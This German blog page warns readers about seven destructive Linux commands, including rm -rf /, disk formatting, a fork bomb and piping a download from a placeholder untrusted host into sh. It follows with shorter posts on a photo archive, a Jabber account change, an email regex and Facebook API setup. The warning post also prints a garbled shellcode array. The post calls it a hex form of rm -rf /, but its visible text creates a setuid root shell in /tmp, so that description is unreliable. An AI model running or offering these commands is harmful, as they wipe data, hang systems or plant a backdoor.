Sieben tödliche Linux-Kommandos


Bild: LEFOI (Browse Tux) / Creative Commons BY-NC-SA

1. Kommando:

rm -rf /

Rekursiv alle Dateien innerhalb des Wurzelverzeichnisses löschen.

2. Kommando:

char esp[] __attribute__ ((section(„.text“))) /* e.s.p
release */
= „xebx3ex5bx31xc0x50x54x5ax83xecx64x68“
„xffxffxffxffx68xdfxd0xdfxd9x68x8dx99“
„xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7“
„x56x04xf7x56x08xf7x56x0cx83xc4x74x56“
„x8dx73x08x56x53x54x59xb0x0bxcdx80x31“
„xc0x40xebxf9xe8xbdxffxffxffx2fx62x69“
„x6ex2fx73x68x00x2dx63x00“
„cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;“;

Dies ist die Hex-Version von [rm -rf /].

3. Kommando:

mkfs.ext3 /dev/sda

Formatiert mit einem neuen Dateisystem und zerstört dabei alle vorhandenen Daten.

4. Kommando:

:(){:|:&};:

Führt zu einer sehr großen Anzahl von Prozessen und friert das System ein. Damit geht häufig Datenverlust einher.

5. Kommando:

any_command > /dev/sda

Führt beim schreiben auf ein Gerät zum totalen Datenverlust.

6. Kommando:

wget http://some_untrusted_source -O- | sh

Lädt Daten aus einer nicht vertrauenswürdigen Quelle und führt diese aus.

7. Kommando:

mv /home/yourhomedirectory/* /dev/null

Verschiebt alle Daten aus dem Home-Verzeichnis nach /dev/null.

Frei übernommen aus The 7 Deadly Linux Commands

Google hostet LIFE-Archiv mit historischen Aufnahmen

Ab heute stellt Google ein ganz besonderes Archiv der Öffentlichkeit zur Verfügung:
LIFE photo archive hosted by Google.
Hier sind Millionen von bisher größtenteils unveröffentlichten Aufnahmen verfügbar.

Das LIFE-Archiv umfasst ca. 10 Millionen Fotos, von denen zur Zeit 20% bei Google verfügbar sind. Einzige Beschränkung ist aktuell, dass je Suchanfrage maximal 200 Fotos angezeigt werden.

Neuer Jabber-Account bei Swissjabber

Kurz in eigener Sache:
Ich nutze seit einiger Zeit jabber.ccc.de. Mit dem nahenden Ende des Jahres 2008 und der ab 2009 zu befürchtenden Verstärkungen in Hinsicht auf die Vorratsdatenspeicherung, habe ich nun auch den Jabber-Anbieter gewechselt.
Zukünftig bin ich unter

zu erreichen.

Das schöne am neuen Standort in Zürich: der Server befindet sich nicht mehr in der EU und ist frei von den heftigen Überwachungsverordnungen. Die Swissjabber-Benutzerdaten auf dem neuen System sind verschlüsselt und versuchen dadurch das bestmögliche an Sicherheit zu gewährleisten.

http://web.swissjabber.ch/index.php/20080214_Welcome_back_to_switzerland

Mail-Adressen auf Gültigkeit prüfen

Es ist immer mal wieder erforderlich, eingegebene Mail-Adressen auf ihre Gültigkeit hin zu prüfen. Am simpelsten lässt sich das mit regulären Ausdrücken handhaben. Der folgende Code gibt entsprechend True (Adressform korrekt) oder False (Adressform nicht korrekt) zurück:

if (ereg("^[_a-zA-Z0-9-]+
(.[_a-zA-Z0-9-]+)*@[a-zA-Z0-9-]
+.([a-zA-Z0-9]{2,4})$",
$mailadresse))

Die Mail-Adresse kann am Anfang aus beliebigen Ziffern, Buchstaben und den Sonderzeichen „_“ und „-“ bestehen. Als Trennzeichen ist der „.“ zulässig. Nach dem „@“ muss ein Domainname aus ebenfalls beliebigen Ziffern, Buchstaben oder dem Bindestrich folgen. Nach dem „.“ als Trennzeichen zur TLD muss nochmals eine Buchstabenfolge folgen.

Voraussetzungen für eigene Facebook-Applikationen

Für die ersten Experimente mit einer eigenen Facebook-Applikation, reicht bereits einfacher Webspace mit Unterstützung von (mindestens) PHP4.
Installation der Facebook-API:

wget http://developers.facebook.com/clientlibs/facebook-platform.tar.gz
tar -xvzf facebook-platform.tar.gz

Die SimpleXML-Bibliothek lässt sich bei Bedarf wie folgt installieren:

wget http://downloads.sourceforge.net/ister4framework/simplexml44-0_4_4.tar.gz
tar -xvzf simplexml44-0_4_4.tar.gz

Die Hürden für den Einstieg sind also mehr als niedrig. Mittelfristig werde ich an dieser Stelle die Entwicklung einer eigenen Applikation in mehreren Teilen dokumentieren.